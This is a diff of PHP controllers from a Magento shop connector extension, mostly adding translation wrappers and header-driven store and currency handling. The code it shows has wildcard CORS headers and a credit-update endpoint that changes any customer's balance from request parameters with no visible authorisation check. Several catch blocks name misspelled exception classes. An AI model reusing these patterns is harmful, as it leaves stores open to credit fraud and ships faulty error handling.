  exit;
1299
  }
1300
 
1301
- echo json_encode(array('status'=>'success','message'=>'Order marked as cancelled by User.'));
1302
  exit;
1303
  else:
1304
- echo json_encode(array('status'=>'error','message'=>'Login first tio cancel Order.'));
1305
  exit;
1306
  endif;
1307
 
1308
  else:
1309
- echo json_encode(array('status'=>'error','message'=>'Please send Order Id to cancel.'));
1310
  exit;
1311
  endif;
1312
 
@@ -1373,18 +1439,18 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
1373
  foreach ($collection as $cc_card):
1374
  try{$cc_card->delete();}
1375
  catch(expection $e){
1376
- echo json_encode( array('status' => 'error' , 'massage'=>$e->getMessage() ));
1377
  exit;
1378
  }
1379
  endforeach;
1380
  endif;
1381
- echo json_encode( array('status' => 'success' , 'massage'=>'Card remove successfully' ));
1382
  exit;
1383
  else:
1384
- echo json_encode( array('status' => 'error' , 'massage'=>'error in removing card' ));
1385
  exit;
1386
  endif;
1387
  }
1388
 
1389
 
1390
- }
8
  public $cc_year = '';
9
  public $cc_cid ='';
10
 
11
+ public $storeId = "1";
12
+ public $viewId = "";
13
+ public $currency = "";
14
+
15
  public function _construct(){
16
 
17
  header('content-type: application/json; charset=utf-8');
18
  header("access-control-allow-origin: *");
19
  Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
20
+
21
+ $this->storeId = Mage::app()->getFrontController()->getRequest()->getHeader('storeId');
22
+ $this->viewId = Mage::app()->getFrontController()->getRequest()->getHeader('viewId');
23
+ $this->currency = Mage::app()->getFrontController()->getRequest()->getHeader('currency');
24
+
25
+ Mage::app()->setCurrentStore($this->storeId);
26
+
27
  parent::_construct();
28
 
29
  }
45
 
46
 
47
  if(!sizeof($cart_data)):
48
+ echo json_encode(array('status'=>'error','message'=> $this->__('Nothing to add in cart, cart is empty.')));
49
  exit;
50
  endif;
51
 
52
  $cart = Mage::helper ( 'checkout/cart' )->getCart ();
53
  $cart->truncate();
54
+
55
 
 
56
  $session = Mage::getSingleton ( 'core/session', array (
57
  'name' => 'frontend'
58
  ) );
105
 
106
 
107
  endforeach;
108
+ try{
109
+ $session->setCartWasUpdated ( true );
110
+
111
+ $cart->save ();
112
+ }
113
+ catch(Exception $e){
114
+ $result = '{"status":"error"';
115
+ $result .= ', "message": "' . str_replace("\"","||",$e->getMessage ()) . '"}';
116
+ echo $result;
117
+ exit;
118
+ }
119
+
120
 
121
 
122
 
128
  if ($check_grand_total < $amount):
129
  $message = Mage::getStoreConfig('sales/minimum_order/error_message');
130
  if(!$message) $message = 'Minimum Order Limit is '.$amount;
131
+ echo json_encode(array('status'=>'error','message'=> $this->__($message)));
132
  exit;
133
  endif;
134
 
151
  $cart->removeItem ( $id )->save ();
152
  echo json_encode(array("status"=>"success"));
153
  } catch ( Mage_Core_Exception $e ) {
154
+ echo json_encode ( array ("status" =>"error","message"=> $this->__($e->getMessage ())));
155
 
156
  } catch ( Exception $e ) {
157
+ echo json_encode ( array ("status" =>"error","message"=>$this->__($e->getMessage ())));
158
 
159
  }
160
  else:
161
+ echo json_encode(array ("status" =>"error","message"=>$this->__("Param cart_item_id is empty.")));
162
  exit;
163
  endif;
 
164
  }
165
+
166
+
167
  public function clearcartAction()
168
  {
169
 
175
 
176
 
177
  $result = '{"result":"success"';
178
+ $result .= ', "message": "' .$this->__( 'cart is empty!' ). '"}';
179
  echo $result;
180
 
181
 
195
  ) );
196
  $params ['qty'] = $filter->filter ( $params ['qty'] );
197
  } else if ($product_id == '') {
198
+ $session->addError ($this->__("Product Not Added
199
+ The SKU you entered %s was not found." ,$sku));
200
  }
201
  $request = Mage::app ()->getRequest ();
202
  $product = Mage::getModel ( 'catalog/product' )->load ( $product_id );
234
  $cart->addProduct ( $product, $params );
235
  endif;
236
 
237
+
238
+ $session->setLastAddedProductId ( $product->getId () );
239
+ $session->setCartWasUpdated ( true );
240
+ $cart->save ();
241
+
242
 
243
  $cart = Mage::getSingleton ( 'checkout/cart' );
244
  $quote = $cart->getQuote ();
256
  $result .= ', "items_qty": "' . $items_qty . '"';
257
  $result .= ', "cart_item_id": "' . $cartItemArr . '"}';
258
  echo $result;
 
 
259
 
260
+ } catch ( Exception $e ) {
261
  $result = '{"result":"error"';
262
  $result .= ', "message": "' . str_replace("\"","||",$e->getMessage ()) . '"}';
263
  echo $result;
287
  ) );
288
  $params ['qty'] = $filter->filter ( $params ['qty'] );
289
  } else if ($product_id == '') {
290
+ $session->addError ($this->__( "Product Not Added
291
+ The SKU you entered %s was not found.", $sku ));
292
  }
293
  $request = Mage::app ()->getRequest ();
294
  $product = Mage::getModel ( 'catalog/product' )->load ( $product_id );
313
  $cart->removeItem ( $id )->save ();
314
  echo json_encode(array('cart_info'=>$this->_getCartInformation(),'total'=>$this->_getCartTotal ()));
315
  } catch ( Mage_Core_Exception $e ) {
316
+ echo json_encode ( $this->__($e->getMessage () ));
317
 
318
  } catch ( Exception $e ) {
319
+ echo json_encode ( $this->__($e->getMessage () ));
320
 
321
  }
322
  } else {
345
  } else {
346
  echo json_encode ( array (
347
  'status' => 'error',
348
+ 'message' => $this->__('a wrong cart_item_id was given.')
349
+ ));
350
  return false;
351
  }
352
  $oldQty = $item->getQty ();
365
  } catch ( Mage_Core_Exception $e ) { // rollback $quote->collectTotals()->save();
366
  $item && $item->setData ( 'qty', $oldQty );
367
  $cart->getQuote ()->setTotalsCollectedFlag ( false ); // reflash price
368
+ echo json_encode (array('status'=>'error','message'=> $this->__($e->getMessage ()) ));
369
  exit;
370
  } catch ( Exception $e ) {
371
+ echo json_encode (array('status'=>'error','message'=> $this->__( $e->getMessage ()) ));
372
  exit;
373
  }
374
  echo json_encode(array('cart_info'=>$this->_getCartInformation(),'total'=>$this->_getCartTotal ()));
394
  {
395
  echo json_encode ( array (
396
  'status' => 'error',
397
+ 'message' => $this->__("Coupan Is not Valid" )
398
+ ));
399
  return false;
400
  }
401
 
405
  if (! $cart->getItemsCount ()) {
406
  echo json_encode ( array (
407
  'code' => '0X0001',
408
+ 'message' => $this->__("You can't use coupon code with an empty shopping cart"
409
+ ) ));
410
  return false;
411
  }
412
  if (Mage::app ()->getRequest ()->getParam ( 'remove' ) == 1) {
474
  $cartInfo ['cart_items'] = $this->_getCartItems ();
475
  $cartInfo ['messages'] = sizeof ( $this->errors ) ? $this->errors : $this->_getMessage ();
476
  $cartInfo ['cart_items_count'] = Mage::helper ( 'checkout/cart' )->getSummaryCount ();
477
+ $cartInfo ['grand_total'] = number_format ( $cart->getQuote()->getGrandTotal(), 2, '.', '' );
478
+ $cartInfo ['sub_total'] = number_format ( $cart->getQuote()->getSubtotal(), 2, '.', '' );
479
  $cartInfo ['allow_guest_checkout'] = Mage::helper ( 'checkout' )->isAllowedGuestCheckout ( $cart->getQuote () );
480
 
481
  return $cartInfo;
516
  protected function _getMessage() {
517
  $cart = Mage::getSingleton ( 'checkout/cart' );
518
  if (! Mage::getSingleton ( 'checkout/type_onepage' )->getQuote ()->hasItems ()) {
519
+ $this->errors [] = $this->__('Cart is empty!');
520
  return $this->errors;
521
  }
522
  if (! $cart->getQuote ()->validateMinimumAmount ()) {
528
  foreach ( $messages as $message ) {
529
  if ($message) {
530
  $message = str_replace("\"","||",$message);
531
+ $this->errors [] = $this->__($message->getText ());
532
  }
533
  }
534
  }
559
  $cartItemsArr = array ();
560
  $cart = Mage::getSingleton ( 'checkout/cart' );
561
  $quote = $cart->getQuote ();
562
+ /*$currency = $this->currency;*/
563
  $displayCartPriceInclTax = Mage::helper ( 'tax' )->displayCartPriceInclTax ();
564
  $displayCartPriceExclTax = Mage::helper ( 'tax' )->displayCartPriceExclTax ();
565
  $displayCartBothPrices = Mage::helper ( 'tax' )->displayCartBothPrices ();
566
+
567
  $items = $quote->getAllVisibleItems ();
568
+ $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
569
+ $currentCurrency = $this->currency;
570
+
571
+ $product_model = Mage::getModel ( 'catalog/product' );
572
+
573
  foreach ( $items as $item ) {
574
  $cartItemArr = array ();
575
  $cartItemArr ['cart_item_id'] = $item->getId ();
576
+ $cartItemArr ['currency'] = Mage::helper('connector')->getCurrencysymbolByCode($this->currency);
577
  $cartItemArr ['entity_type'] = $item->getProductType ();
578
  $cartItemArr ['item_id'] = $item->getProduct ()->getId ();
579
  $cartItemArr ['item_title'] = strip_tags ( $item->getProduct ()->getName () );
580
  $cartItemArr ['qty'] = $item->getQty ();
581
+ $cartItemArr ['thumbnail_pic_url'] = Mage::helper('connector')-> Imageresize($product_model->load($item->getProduct ()->getId ())->getImage()
582
+ ,'thumbnail','100','100');
583
  $cartItemArr ['custom_option'] = $this->_getCustomOptions ( $item );
584
+
585
+ $cartItemArr ['item_price'] = number_format ( Mage::helper ( 'directory' )
586
+ ->currencyConvert (
587
+ Mage::helper('connector')
588
+ ->getFinalPriceByProductId(
589
+ $item->getProduct()->getId())?:$item->getProduct()->getPrice(),
590
+ $baseCurrency,
591
+ $currentCurrency ), 2, '.', '' );
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
592
 
593
  array_push ( $cartItemsArr, $cartItemArr );
594
  }
712
  if ($session->getUseNotice ( true )) {
713
  $msg = $e->getMessage ();
714
  } else {
715
+ $messages = array_unique ( explode ( "\n",$this->__( $e->getMessage () ) ));
716
  foreach ( $messages as $message ) {
717
  $msg .= $message . '<br>';
718
  }
737
 
738
  $methods = Mage::getSingleton('shipping/config')->getActiveCarriers();
739
  $shipMethods = array();
740
+ $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
741
+ $currentCurrency = $this->currency;
742
+
743
  foreach ($methods as $shippigCode=>$shippingModel)
744
  {
745
 
746
  if($shippigCode == 'freeshipping'):
747
  if(Mage::getStoreConfig('carriers/'.$shippigCode.'/free_shipping_subtotal') < Mage::helper('checkout/cart')->getQuote()->getBaseSubtotalWithDiscount()):
748
  $shippingTitle = Mage::getStoreConfig('carriers/'.$shippigCode.'/title');
749
+ $shippingPrice = Mage::getStoreConfig('carriers/'.$shippigCode.'/price');
750
+ $shipMethods[]=array(
751
+ 'code'=>$shippigCode,
752
+ 'value'=>$shippingTitle,
753
+ 'price'=>number_format ( Mage::helper ( 'directory' )
754
+ ->currencyConvert ( $shippingPrice,
755
+ $baseCurrency,
756
+ $currentCurrency ), 2, '.', '' )
757
+ );
758
+ endif;
759
+
760
+ else:
761
+ $shippingTitle = Mage::getStoreConfig('carriers/'.$shippigCode.'/title');
762
  $shippingPrice = Mage::getStoreConfig('carriers/'.$shippigCode.'/price');
763
  $shipMethods[]=array(
764
  'code'=>$shippigCode,
765
  'value'=>$shippingTitle,
766
+ 'price'=>number_format ( Mage::helper ( 'directory' )
767
+ ->currencyConvert ( $shippingPrice,
768
+ $baseCurrency,
769
+ $currentCurrency ), 2, '.', '' )
770
  );
 
 
 
 
 
 
 
 
 
 
771
  endif;
772
 
773
 
815
  if ($price < $amount):
816
  $message = Mage::getStoreConfig('sales/minimum_order/error_message');
817
  if(!$message) $message = 'Minimum Order Limit is '.$amount;
818
+ echo json_encode(array('status'=>'error','message'=> $this->__( $message)));
819
  exit;
820
  endif;
821
 
857
  $this->validateCarddtails(json_decode($card_details,1));
858
 
859
  if (!Zend_Validate::is($addressId, 'NotEmpty')):
860
+ echo json_encode(array('Status'=>'error','message'=> $this->__('AddressId should not be empty')));
861
  exit;
862
  endif;
863
  if (!Zend_Validate::is($shipping_method, 'NotEmpty')):
864
+ echo json_encode(array('Status'=>'error','message'=>$this->__('Shippingmethod should not be empty')));
865
  exit;
866
  endif;
867
  if (!Zend_Validate::is($paymentmethod, 'NotEmpty')):
868
+ echo json_encode(array('Status'=>'error','message'=>$this->__('paymentmethod should not be empty')));
869
  exit;
870
  endif;
871
  if($addressId==''){
872
  $result=array(
873
+ 'message'=>$this->__('address is missing!!!!'),
874
  'status'=>'success'
875
 
876
  );
931
  }
932
  Mage::getSingleton('checkout/session')->clear();
933
 
934
+ $result=array( 'message'=>$this->__('Order placed successfully.'),
935
  'orderid'=>$order->getIncrementId(),
936
  'result'=>'success'
937
 
943
 
944
  } catch (Exception $e) {
945
 
946
+ echo json_encode(array('status'=>'error','message'=> $this->__($e->getMessage())));
947
  exit;
948
 
949
  }
950
  else:
951
  $result=array(
952
+ 'message'=> $this->__('cart is empty'),
953
  'result'=>'success'
954
 
955
  );
957
  endif;
958
 
959
  }else{
960
+
961
+
962
  ini_set('memory_limit', '128M');
963
 
964
  $getParams = $this->getRequest()->getParams();
1064
  }
1065
  catch (Exception $e)
1066
  {
1067
+ echo json_encode(array('status' =>'error','message' => $this->__($e->getMessage())));
1068
  exit;
1069
 
1070
  }
1174
 
1175
 
1176
 
1177
+ $result=array( 'message'=>$this->__('Order placed successfully.'),
1178
  'orderid'=>$orderId,
1179
  'result'=>'success'
1180
 
1190
  public function validateCarddtails($card_details){
1191
 
1192
  if(!sizeof($card_details)):
1193
+ echo json_encode(array('status' =>'error','message' => $this->__('Card Information is required in case of authorize.net payment method.')));
1194
  exit;
1195
  endif;
1196
 
1197
  if(!$card_details['cc_type'] || !$card_details['cc_number'] ||
1198
  !$card_details['cc_month'] || !$card_details['cc_year'] || !$card_details['cc_cid']):
1199
+ echo json_encode(array('status' =>'error','message' => $this->__('Some Required card information is missing.')));
1200
  exit;
1201
  endif;
1202
  $this->cc_type = $card_details['cc_type'];
1231
  $cart = Mage::getModel('sales/quote') ->loadByCustomer($customer);
1232
 
1233
  if(!count($cart->getAllItems())):
1234
+ echo json_encode(array('status'=>'success','message'=> $this->__($product)));
1235
  exit;
1236
  endif;
1237
  $product_model = Mage::getModel ( 'catalog/product' );
1238
+
1239
+ $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
1240
+ $currentCurrency = $this->currency;
1241
+
1242
+ foreach ($cart->getAllVisibleItems() as $item) {
1243
 
1244
  $productName= array();
1245
  $productName['cart_item_id'] = $item->getId();
1248
  $productName['qty'] = $item->getQty();
1249
  $productName['Name'] = $item->getProduct()->getName();
1250
  /*$productName['Price'] = $item->getPrice()* $item->getQty();*/
1251
+ $productName['Price'] = number_format ( Mage::helper ( 'directory' )->currencyConvert ( $item->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' );
1252
  $productName['image'] =Mage::helper('connector')-> Imageresize($product_model->load($item->getProductId())->getImage()
1253
+ ,'thumbnail','100','100');
1254
+ $productName['wishlist'] = Mage::helper('connector')->check_wishlist($item->getProductId());
1255
 
1256
  if($product_model->load($item->getProductId())->isConfigurable())
1257
  $productName['configurable'] = $this->_getConfigurableOptions( $item );
1262
 
1263
  $product['product'][] = $productName;
1264
 
1265
+ }
1266
  $product['subtotal'] = $cart->getSubtotal();
1267
  $product['grandtotal'] = $cart->getGrandTotal();
1268
  $product['totalitems'] = $cart->getItemsCount();
1269
+ $product['symbol'] = Mage::helper('connector')->getCurrencysymbolByCode($this->currency);
1270
 
1271
+ echo json_encode(array('status'=>'success','message'=> $this->__($product)));
1272
 
1273
  }
1274
  catch(exception $e)
1275
  {
1276
+ echo json_encode(array('status'=>'error','message'=> $this->__($e->getMessage())));
1277
  }
1278
  }
1279
+ else {
1280
+ try{
1281
+ $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
1282
+ $currentCurrency = $this->currency;
1283
+ $product_model = Mage::getModel ( 'catalog/product' );
1284
+
1285
+ $cart = Mage::getSingleton ( 'checkout/cart' );
1286
+ $quote = $cart->getQuote ();
1287
+
1288
+ /*get last inserted cart ID*/
1289
+ $items = $quote->getAllVisibleItems ();
1290
+ $cartItemArr='';
1291
+ foreach ( $items as $item ){
1292
+ $productName= array();
1293
+ $productName['cart_item_id'] = $item->getId();
1294
+ $productName['id'] = $item->getProductId();
1295
+ $productName['sku'] = $item->getSku();
1296
+ $productName['qty'] = $item->getQty();
1297
+ $productName['Name'] = $item->getProduct()->getName();
1298
+ /*$productName['Price'] = $item->getPrice()* $item->getQty();*/
1299
+ $productName['Price'] = number_format ( Mage::helper ( 'directory' )->currencyConvert ( $item->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' );
1300
+ $productName['image'] =Mage::helper('connector')-> Imageresize($product_model->load($item->getProductId())->getImage()
1301
+ ,'product','100','100');
1302
+
1303
+ if($product_model->load($item->getProductId())->isConfigurable())
1304
+ $productName['configurable'] = $this->_getConfigurableOptions( $item );
1305
+
1306
+ if($product_model->load($item->getProductId())->getData('has_options'))
1307
+ ($this->_getCustomOption( $item ))?$productName['custom_option'] = $this->_getCustomOption( $item ):'';
1308
+
1309
+
1310
+ $product['product'][] = $productName;
1311
+
1312
+ }
1313
+ $product['subtotal'] = $cart->getSubtotal();
1314
+ $product['grandtotal'] = $cart->getGrandTotal();
1315
+ $product['totalitems'] = $cart->getItemsCount();
1316
+ $product['symbol'] = Mage::helper('connector')->getCurrencysymbolByCode($this->currency);
1317
+
1318
+ echo json_encode(array('status'=>'success','message'=>$product));
1319
+ }
1320
+ catch(exception $e)
1321
+ {
1322
+ echo json_encode(array('status'=>'error','message'=>$e->getMessage()));
1323
+ }
1324
+ }
1325
 
 
 
 
 
 
1326
 
1327
+ //echo json_encode(array('status'=>'error','message'=>'Please Login.'));
1328
+ }
1329
  /* Cancel Order API :
1330
 
1331
  URL : /restapi/cart/cancelOrder/
1339
  */
1340
 
1341
  public function cancelOrderAction(){
1342
+ $orderId =(int)$this->getRequest()->getParam('orderId');
1343
 
1344
  if($orderId):
1345
  if(Mage::getSingleton ( 'customer/session' )->isLoggedIn()):
1346
  try{
1347
  $order = Mage::getModel('sales/order')->loadByIncrementId($orderId);
1348
  if(!$order->getId()):
1349
+ echo json_encode(array('status'=>'error','message'=>$this->__('Invalid Order Id.')));
1350
  exit;
1351
  endif;
1352
 
1360
  }
1361
  catch(Exceptio $e)
1362
  {
1363
+ echo json_encode(array('status'=>'error','message'=> $this->__($e->getMessage())));
1364
  exit;
1365
  }
1366
 
1367
+ echo json_encode(array('status'=>'success','message'=> $this->__('Order marked as cancelled by User.')));
1368
  exit;
1369
  else:
1370
+ echo json_encode(array('status'=>'error','message'=> $this->__('Login first tio cancel Order.')));
1371
  exit;
1372
  endif;
1373
 
1374
  else:
1375
+ echo json_encode(array('status'=>'error','message'=> $this->__('Please send Order Id to cancel.')));
1376
  exit;
1377
  endif;
1378
 
1439
  foreach ($collection as $cc_card):
1440
  try{$cc_card->delete();}
1441
  catch(expection $e){
1442
+ echo json_encode( array('status' => 'error' , 'massage'=> $this->__($e->getMessage() )));
1443
  exit;
1444
  }
1445
  endforeach;
1446
  endif;
1447
+ echo json_encode( array('status' => 'success' , 'massage'=> $this->__('Card remove successfully' )));
1448
  exit;
1449
  else:
1450
+ echo json_encode( array('status' => 'error' , 'massage'=>$this->__('error in removing card' )));
1451
  exit;
1452
  endif;
1453
  }
1454
 
1455
 
1456
+ }
app/code/local/Mss/Connector/controllers/CreditController.php CHANGED
@@ -59,14 +59,14 @@ class Mss_Connector_CreditController extends Mage_Core_Controller_Front_Action{
59
  {
60
  $customer_id=Mage::app ()->getRequest ()->getParam ( 'customer_id' );
61
  if (!Zend_Validate::is($customer_id, 'NotEmpty')):
62
- echo json_encode(array('status'=>'error','message'=>'Customer Id should not be empty'));
63
  exit;
64
  endif;
65
  $customer = Mage::getModel('customer/customer')->load($customer_id);
66
  if(count($customer->getData())>0):
67
  echo json_encode('The credit balance of customer id '.$customer_id.'is'.$customer->getCreditValue());
68
  else:
69
- echo json_encode(array('status'=>'error','message'=>'CustomerId does not exist'));
70
  endif;
71
 
72
  }
@@ -80,23 +80,23 @@ class Mss_Connector_CreditController extends Mage_Core_Controller_Front_Action{
80
  $amount_credit=Mage::app ()->getRequest ()->getParam ( 'amount_credit' );
81
 
82
  if (!Zend_Validate::is($customer_id, 'NotEmpty')):
83
- echo json_encode(array('status'=>'error','message'=>'Customer Id should not be empty'));
84
  exit;
85
  endif;
86
 
87
  if (!Zend_Validate::is($transaction_type, 'NotEmpty')):
88
- echo json_encode(array('status'=>'error','message'=>'Transaction Type should not be empty'));
89
  exit;
90
  endif;
91
 
92
  if (!Zend_Validate::is($amount_credit, 'NotEmpty')):
93
- echo json_encode(array('status'=>'error','message'=>'Amount Credit should not be empty'));
94
  exit;
95
  endif;
96
 
97
  Mage::getModel('customercredit/transaction')->addTransactionHistory($customer_id, $transaction_type, $transaction_detail, $order_id, $amount_credit);
98
  $this->updateBalance($customer_id, $amount_credit);
99
- echo json_encode(array('status'=>'success','message'=>'Credit has been updated'));
100
  }
101
 
102
  public function redeemCreditAction()
@@ -105,27 +105,27 @@ class Mss_Connector_CreditController extends Mage_Core_Controller_Front_Action{
105
  $customer_id=Mage::app ()->getRequest ()->getParam ( 'customer_id' );
106
  $creditcode=Mage::app ()->getRequest ()->getParam ( 'creditcode' );
107
  if (!Zend_Validate::is($customer_id, 'NotEmpty')):
108
- echo json_encode(array('status'=>'error','message'=>'Customer Id should not be empty'));
109
  exit;
110
  endif;
111
 
112
  if (!Zend_Validate::is($creditcode, 'NotEmpty')):
113
- echo json_encode(array('status'=>'error','message'=>'Credit Code should not be empty'));
114
  exit;
115
  endif;
116
 
117
  $credit = Mage::getModel('customercredit/creditcode')->getCollection()
118
  ->addFieldToFilter('credit_code', $creditcode);
119
  if(count($credit->getData)):
120
- echo json_encode(array('status'=>'error','message'=>'Customer ID does not be exist'));
121
  exit;
122
  endif;
123
  if ($credit->getSize() == 0) {
124
- json_encode(array('status'=>'error','message'=>' Code is invalid. Please check again!'));
125
  exit;
126
  }
127
  if ($credit->getFirstItem()->getStatus() != 1) {
128
- json_encode(array('status'=>'error','message'=>' Code was used. Please check again!'));
129
  }
130
 
131
  Mage::getModel('customercredit/creditcode')
@@ -133,7 +133,7 @@ class Mss_Connector_CreditController extends Mage_Core_Controller_Front_Action{
133
  $credit_amount = $credit->getFirstItem()->getAmountCredit();
134
  Mage::getModel('customercredit/transaction')->addTransactionHistory($customer_id, Magestore_Customercredit_Model_TransactionType::TYPE_REDEEM_CREDIT, "redeemcredit", "", $credit_amount);
135
  $this->updateBalance($customer_id, $credit_amount);
136
- json_encode(array('status'=>'success','message'=>' Credit has been redeemed'));
137
  }
138
  }
139
 
59
  {
60
  $customer_id=Mage::app ()->getRequest ()->getParam ( 'customer_id' );
61
  if (!Zend_Validate::is($customer_id, 'NotEmpty')):
62
+ echo json_encode(array('status'=>'error','message'=> $this->__('Customer Id should not be empty')));
63
  exit;
64
  endif;
65
  $customer = Mage::getModel('customer/customer')->load($customer_id);
66
  if(count($customer->getData())>0):
67
  echo json_encode('The credit balance of customer id '.$customer_id.'is'.$customer->getCreditValue());
68
  else:
69
+ echo json_encode(array('status'=>'error','message'=> $this->__('CustomerId does not exist')));
70
  endif;
71
 
72
  }
80
  $amount_credit=Mage::app ()->getRequest ()->getParam ( 'amount_credit' );
81
 
82
  if (!Zend_Validate::is($customer_id, 'NotEmpty')):
83
+ echo json_encode(array('status'=>'error','message'=> $this->__('Customer Id should not be empty')));
84
  exit;
85
  endif;
86
 
87
  if (!Zend_Validate::is($transaction_type, 'NotEmpty')):
88
+ echo json_encode(array('status'=>'error','message'=> $this->__('Transaction Type should not be empty')));
89
  exit;
90
  endif;
91
 
92
  if (!Zend_Validate::is($amount_credit, 'NotEmpty')):
93
+ echo json_encode(array('status'=>'error','message'=> $this->__('Amount Credit should not be empty')));
94
  exit;
95
  endif;
96
 
97
  Mage::getModel('customercredit/transaction')->addTransactionHistory($customer_id, $transaction_type, $transaction_detail, $order_id, $amount_credit);
98
  $this->updateBalance($customer_id, $amount_credit);
99
+ echo json_encode(array('status'=>'success','message'=> $this->__('Credit has been updated')));
100
  }
101
 
102
  public function redeemCreditAction()
105
  $customer_id=Mage::app ()->getRequest ()->getParam ( 'customer_id' );
106
  $creditcode=Mage::app ()->getRequest ()->getParam ( 'creditcode' );
107
  if (!Zend_Validate::is($customer_id, 'NotEmpty')):
108
+ echo json_encode(array('status'=>'error','message'=> $this->__('Customer Id should not be empty')));
109
  exit;
110
  endif;
111
 
112
  if (!Zend_Validate::is($creditcode, 'NotEmpty')):
113
+ echo json_encode(array('status'=>'error','message'=> $this->__('Credit Code should not be empty')));
114
  exit;
115
  endif;
116
 
117
  $credit = Mage::getModel('customercredit/creditcode')->getCollection()
118
  ->addFieldToFilter('credit_code', $creditcode);
119
  if(count($credit->getData)):
120
+ echo json_encode(array('status'=>'error','message'=> $this->__('Customer ID does not be exist')));
121
  exit;
122
  endif;
123
  if ($credit->getSize() == 0) {
124
+ json_encode(array('status'=>'error','message'=> $this->__('Code is invalid. Please check again!')));
125
  exit;
126
  }
127
  if ($credit->getFirstItem()->getStatus() != 1) {
128
+ json_encode(array('status'=>'error','message'=> $this->__('Code was used. Please check again!')));
129
  }
130
 
131
  Mage::getModel('customercredit/creditcode')
133
  $credit_amount = $credit->getFirstItem()->getAmountCredit();
134
  Mage::getModel('customercredit/transaction')->addTransactionHistory($customer_id, Magestore_Customercredit_Model_TransactionType::TYPE_REDEEM_CREDIT, "redeemcredit", "", $credit_amount);
135
  $this->updateBalance($customer_id, $credit_amount);
136
+ json_encode(array('status'=>'success','message'=> $this->__(' Credit has been redeemed')));
137
  }
138
  }
139
 
app/code/local/Mss/Connector/controllers/CustomerController.php CHANGED
@@ -13,11 +13,23 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
13
  const XML_PATH_CONFIRMED_EMAIL_TEMPLATE = 'customer/create_account/email_confirmed_template';
14
  const XML_PATH_GENERATE_HUMAN_FRIENDLY_ID = 'customer/create_account/generate_human_friendly_id';
15
 
 
 
 
 
 
16
  public function _construct(){
17
 
18
  header('content-type: application/json; charset=utf-8');
19
  header("access-control-allow-origin: *");
20
  Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
 
 
 
 
 
 
 
21
  parent::_construct();
22
 
23
  }
@@ -48,14 +60,12 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
48
 
49
  $customerinfo = array (
50
  'id'=>$customer->getId(),
51
- 'name' => $customer->getFirstname () .$customer->getLastname (),
52
  'email' => $customer->getEmail (),
53
  );
54
 
55
  return $customerinfo;
56
- } else
57
-
58
- return false;
59
  }
60
 
61
 
@@ -74,35 +84,35 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
74
 
75
  try {
76
  if (!$session->login ( $username, $password )) {
77
- echo json_encode(array('status' => 'error','message'=>'wrong username or password.'));
78
  exit;
79
  } else {
80
 
81
- echo json_encode(array('status' => 'success','message'=>$this->statusAction ()));
82
  exit;
83
  }
84
  } catch ( Mage_Core_Exception $e ) {
85
  switch ($e->getCode ()) {
86
  case Mage_Customer_Model_Customer::EXCEPTION_EMAIL_NOT_CONFIRMED :
87
- $value = Mage::helper ( 'customer' )->getEmailConfirmationUrl ( $uname );
88
  $message = Mage::helper ( 'customer' )->__ ( 'This account is not confirmed. <a href="%s">Click here</a> to resend confirmation email.', $value );
89
  echo json_encode ( array (
90
  'status' => 'error',
91
- 'message' => $message
92
  ) );
93
  break;
94
  case Mage_Customer_Model_Customer::EXCEPTION_INVALID_EMAIL_OR_PASSWORD :
95
  $message = $e->getMessage ();
96
  echo json_encode ( array (
97
  'status' => 'error',
98
- 'message' => $message
99
  ) );
100
  break;
101
  default :
102
  $message = $e->getMessage ();
103
  echo json_encode ( array (
104
  'status' => 'error',
105
- 'message' => $message
106
  ) );
107
  }
108
  }
@@ -129,7 +139,7 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
129
  echo json_encode ( array (
130
  false,
131
  '0x1100',
132
- 'empty password or email.'
133
  ) );
134
  return ;
135
  }
@@ -176,23 +186,23 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
176
  } catch ( Mage_Core_Exception $e ) {
177
  if ($e->getCode () === Mage_Customer_Model_Customer::EXCEPTION_EMAIL_EXISTS) {
178
  $url = Mage::getUrl ( 'customer/account/forgotpassword' );
179
- $message = $this->__ ( 'There is already an account with this email address. If you are sure that it is your email address, <a href="%s">click here</a> to get your password and access your account.', $url );
180
  $session->setEscapeMessages ( false );
181
  } else {
182
- $message = $e->getMessage ();
183
  }
184
  echo json_encode ( array (
185
  false,
186
  '0x1000',
187
  array (
188
- $message
189
  )
190
  ) );
191
  } catch ( Exception $e ) {
192
  echo json_encode ( array (
193
  false,
194
  '0x1000',
195
- $e->getMessage ()
196
  ) );
197
  }
198
  }
@@ -212,12 +222,12 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
212
  ), $storeId );
213
  echo json_encode ( array (
214
  'status' => 'error',
215
- 'message' => 'Request has sent to your Email.'
216
  ) );
217
  } else
218
  echo json_encode ( array (
219
  'status' => 'error',
220
- 'message' => 'No matched email data.'
221
  ) );
222
  }
223
  public function logoutAction() {
@@ -227,7 +237,7 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
227
  Mage::getSingleton ( 'customer/session' )->logout();
228
  echo json_encode(array(true, '0x0000', null));
229
  } catch (Exception $e) {
230
- echo json_encode(array(false, '0x1000', $e->getMessage()));
231
  }
232
  }
233
  protected function _user_isexists($email) {
@@ -275,42 +285,44 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
275
 
276
 
277
  if (!Zend_Validate::is($data['firstname'], 'NotEmpty')):
278
- echo json_encode(array('status'=>'error','message'=>'Firstname should not be empty'));
279
  exit;
280
  endif;
281
  if (!Zend_Validate::is($data['lastname'], 'NotEmpty')):
282
- echo json_encode(array('status'=>'error','message'=>'Lastname should not be empty'));
283
  exit;
284
  endif;
285
  if (!Zend_Validate::is($data['street'], 'NotEmpty')):
286
